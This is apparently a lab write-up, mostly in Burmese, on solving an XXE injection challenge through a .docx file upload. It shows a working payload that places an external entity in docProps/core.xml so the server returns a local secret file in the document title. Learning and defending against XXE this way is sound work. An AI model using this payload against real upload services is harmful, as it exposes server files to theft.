XXE Injection Lab [Writeup]

Motivation

ဒီ Challenge Writeup ေလးကိုမေျဖခင္ Motivation ေလးအရင္ေျပာျပမယ္ 😀 သူက က်ေနာ္႕ကိုစမ္းေျဖၾကည့္ဖို႕ေပးထားတာၾကာျပီဗ်။ ဒါေပမဲ့ normal XXE , Blind XXE ေလာက္ထိကကိုယ္ကေလ့လာဖူးေတာ့ အစကထင္ခဲ့တာ လြယ္မယ္ေပါ့ေလ မေျဖေသးဘူး။ မေန႕ညကမွ ေျဖၾကည့္ဦးမယ္ဆိုျပီး ၾကည့္လိုက္ေတာ့ က်ေနာ္မသိေသးတဲ့အသစ္ျဖစ္ေနတယ္ဗ်။ ဒါနဲ႕ လိုက္ရွာဖတ္ေတာ့ ေတာ္ေတ္ာေလးလန္႕သြားတယ္ ။ ဒီနည္းနဲ႕ Facebook ကေနရခဲ့တယ္။ Apple တို႕ဘာတို႕ကေနလဲ ရခဲ့တာကိုေတြ႕လိုက္ရတယ္။ ဒါနဲ႕ Motivate ျဖစ္သြားတယ္ေပါ့။ ( Facebook OXML XXE)

My Oponion

ဒါကေတာ့ က်ေနာ္႕ရဲ႕ အေတြးတစ္ခုသာျဖစ္ပါတယ္။ လူတိုင္းေတြးရမယ္ မဆိုလိုပါဘူး။ က်ေနာ္က ေလ့လာတာလဲမၾကာေသးေတာ့ သင္ယူရဦးမယ္လို႕ထင္တယ္ဗ် ။ စစ္တိုက္ခါနီး အားေမြးတယ္ပဲထားပါေတာ့။ တခ်ိဳ႕က Don’t learn to hack , Hack to learn လို႕ အားမနာတမ္းေျပာၾကလိမ့္မယ္။ ဒါက Beginner ကိုေတာ့ ဆိုလိုမယ္မထင္ဘူး ။ Beginner ကေန Intermediate ေလာက္ကိုသြားမယ္ဆိုေတာ့မွ Motivate လုပ္တဲ့စာသားလို႕ထင္တယ္။ ဘာမွမသိပဲနဲ႕ဆို Hacking is magic ျဖစ္ေနေရာ ။ သူမ်ားတကာေတြက Magic ျဖစ္တာ အေၾကာင္းမဟုတ္ဘူး Hacker ဘာညာလုပ္မယ္ဆိုျပီး Magic ျဖစ္ေနမယ္ဆိုရင္ေတာ့ လစ္ျပီ။ ဒါေၾကာင့္ တို႕ေတြ Art ကိုေျပာင္းလိုက္ၾကမယ္။ အဲ့လိုေျပာင္းဖို႕က နားလည္ဖို႕အရင္ ၾကိဳးစားတာ ေကာင္းလိမ့္မယ္လို႕ထင္မိပါတယ္။ က်ေနာ္ဟာ အကိုေတြၾကားမွာဆို ဆူခံေနရၾက 😀 Spoon Feeding လိုခ်င္ခဲ့တာကိုး။ ေနာက္ေတာ့ ကိုယ့္အမွားေတြကို ကိုယ္ျမင္လာပါလိမ့္မယ္။ ဟုတ္ျပီ ။ က်ေနာ္တို႕ feel ေလးတစ္ခုအရင္ ရေအာင္ယူတယ္လို႕ သြယ္ဝိုက္ျပီး ရွင္းျပမယ္။ ဘာ Feel လဲ? Hacker Feel 😛

ကဗ်ာဆရာတစ္ေယာက္ျဖစ္ခ်င္တယ္ဆိုပါေတာ့ ( အသိထဲက ကဗ်ာေရးတဲ့သူ ကိုၾကည့္ေျပာတာ) သူကဗ်ာေတြ ပထမဆံုးဖတ္တယ္ဗ်။ ဘယ္သူကဘယ္လိုေရးတယ္ ဘယ္လိုေတြးတယ္ အရာအရာကို ဘယ္လိုခံစားျဖစ္တယ္။ Feel တတ္တယ္လို႕ဆိုမွာေပါ့။ ဒီလိုကေနမွာ က်ေနာ္တို႕ ဟိုနည္းနည္း ဒီနည္းနည္း ျဖတ္ညွပ္ကပ္ျပီး အဲ့လို Feel တတ္လာဖို႕ ကဗ်ာေတြ ေပါက္ကရေလးဆယ္က စေရးၾကမယ္။ Facebook ၾကီးကလဲရွိေနျပီဆိုေတာ့ ကဗ်ာ မဖတ္ဘူးတဲ့သူတစ္ေယာက္ကေတာ့ အသစ္ေပါ့။ ဖတ္ဖူးတဲ့ သူကေတာ့ Credit ေပးဘာ ဘာညာ လာေျပာၾကလိမ့္မယ္။ ခံႏိုင္ရည္ရွိရမယ္ ။ Copy ဆိုတာ ဒဲ့ကူးခ်မွဗ် ။ ကဗ်ာ ၁၀ ပုဒ္ေလာက္ကေန ျဖစ္လာတယ္ဆို ဒါ Research လုပ္ေနတာ 😛 ေနာက္ပိုင္းေတာ့ သူတို႕ေတြ Feel တတ္သြားၾကတယ္။ ကိုယ္ပိုင္ Feel နဲ႕ ကိုယ္ပိုင္ ကဗ်ာေတြျဖစ္လာတယ္။ ဒါကို ဥပမာယူတယ္။ တို႕ေတြ႕ research လုပ္ၾကမယ္။ Hacker Feel ကိုယူဖို႕ 😀 လိုရင္းကိုျပန္သြားၾကမယ္ ေဖာတာမ်ားျပီ

XXE Lab by Florian Ammon

Github Link 

သူက Docker နဲ႕လုပ္ေပးထားပါတယ္။ က်ေနာ္ကေတာ့ အလြယ္ XAMPP ထဲမွာပဲထည့္ပစ္လိုက္တယ္။ အဓိက PHP code ေၾကာင့္ပဲျဖစ္တာဆိုေတာ့ ေအးေဆးေပါ့။ Lab ကိုစဖြင့္လိုက္တယ္ဆိုရင္ပဲ ေအာက္ကလိုေတြ႕ရတယ္ ။

ကိုယ္သိထားတာက Input ေတြက XML parser ေတြနဲ႕ပဲသိထားတာ ခုေတာ့ File Upload ၾကီး 😀 တိုင္ပတ္တာေပါ့ 🙁 ဒီေတာ့ docx နဲ႕ XXE အေၾကာင္းေတြလိုက္ဖတ္တာေပါ့ ဘယ္ရမလဲ။ ေအာက္က Slide ၾကီးကိုသြားေတာ့ အင္မတန္ေပ်ာ္ခဲ့ရတယ္

EXPLOITING XXE IN FILE UPLOAD FUNCTIONALITY
https://oxmlxxe.github.io/reveal.js/bh_webcast.html#/

Slide ထဲမွာေတာ့ သူ႕ tool နဲ႕သူလုပ္သြားတာ တို႕က သူလို႕နားလည္ခ်င္တာဆိုေတာ့ Manual လုပ္မယ္ေလကြာ 😀 သူ႕ရဲ႕ sample docx ဖိုင္ကို down ျပီး upload ျပန္တင္ၾကည့္လိုက္တယ္။

တို႕ေတြသိလိုက္ရျပီ ျပသနာအရင္းျမစ္ကို 😀  Title ‘Try asdf!’ ဆိုတဲ့ output က အဓိက ျပသနာအရင္းျမစ္ပဲ စာဖတ္သူအေပါင္းတို႕ ။ ဒါဟာ မလိုအပ္တဲ့ output တစ္ခုပဲျဖစ္တယ္။ Web Application ရဲ႕ XML parser ဟာ docx ထဲမွာပါတဲ့ title ကို parse လုပ္ျပီး တို႕ေတြကို output လာျပေနျပီ။ ဒီေတာ့ တို႕သိလိုက္ရတာက တကယ္လို႕သာ docx file ကို ျပင္လို႕ရခဲ့ရင္ XXE Payload ကိုထည့္ျပီး title ေနရမွာ entities ကို output ထုတ္ေပးလိုက္ရင္ လန္းျပီဆိုတာကို ခ်က္ခ်င္းဆိုသလိုသိလိုက္ရမယ္။ ( အေရွ႕မွာသာ XXE ကိုနားလည္ခဲ့ရင္ ) ။ ေနာက္ထပ္ ဝမ္းသာစရာတစ္ခုက ခုန Slide အရ docx file ကို zip file ေျပာင္းျပီးရင္ အထဲက XML ေတြကိုၾကည့္လို႕ရတယ္တဲ့။ အိုေက စမယ္

Converting docx to zip ( Used Windows Cmd )

rename sample.docx sample.zip

Files from sample.zip

XML file ေတြရွိတယ္ ။ ဒီေတာ့ Try asdf! ဒါေလးဘယ္ file ထဲပါတယ္ဆိုတာလိုက္ရွာမယ္။

docProps ထဲက core.xml ထဲမွာသြားေတြ႕တယ္။

#core.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<dc:title>Try asdf!</dc:title>
<dc:subject></dc:subject>
<dc:creator></dc:creator>
<cp:keywords></cp:keywords>
<dc:description></dc:description>
<cp:lastModifiedBy></cp:lastModifiedBy>
<cp:revision>1</cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified>
</cp:coreProperties>

ေတြ႕ျပီဆုိေတာ့ Payload ထည့္မယ္။ Data Exfiltration Payload ထည့္မွရမယ္ ။ လုပ္ခိုင္းတာက secret file ထဲကထုတ္ျပရမွာဆိုေတာ့ေလ။

Question

The file you are looking for is /var/www/secret

တုိ႕မွာက apache မဟုတ္ဘူး xampp server ၾကီးဆိုေတာ့ /xampp/htdocs/xxe/secret/secret မွာရွိမယ္။

XXE Payload

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "/xampp/htdocs/xxe/secret/secret"> ]>

output က &ent; ဆိုျပီးထုတ္ေပးရမယ္။ output ထြက္တာက title ထဲမွာဆုိေတာ့ final ေအာက္ကလိုျဖစ္သြားမယ္

Final Payload

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "/xampp/htdocs/xxe/secret/secret"> ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<dc:title>&ent;</dc:title><dc:subject></dc:subject><dc:creator></dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>

ျပန္ save လိုက္မယ္။ ျပီးေတာ့ Zip ျပန္ခ်ဳပ္လိုက္တယ္ ။ ျပီးေတာ့ docx ျပန္ေျပာင္းလိုက္တယ္။

rename final.zip final.docx

POC

Thanks for reading xD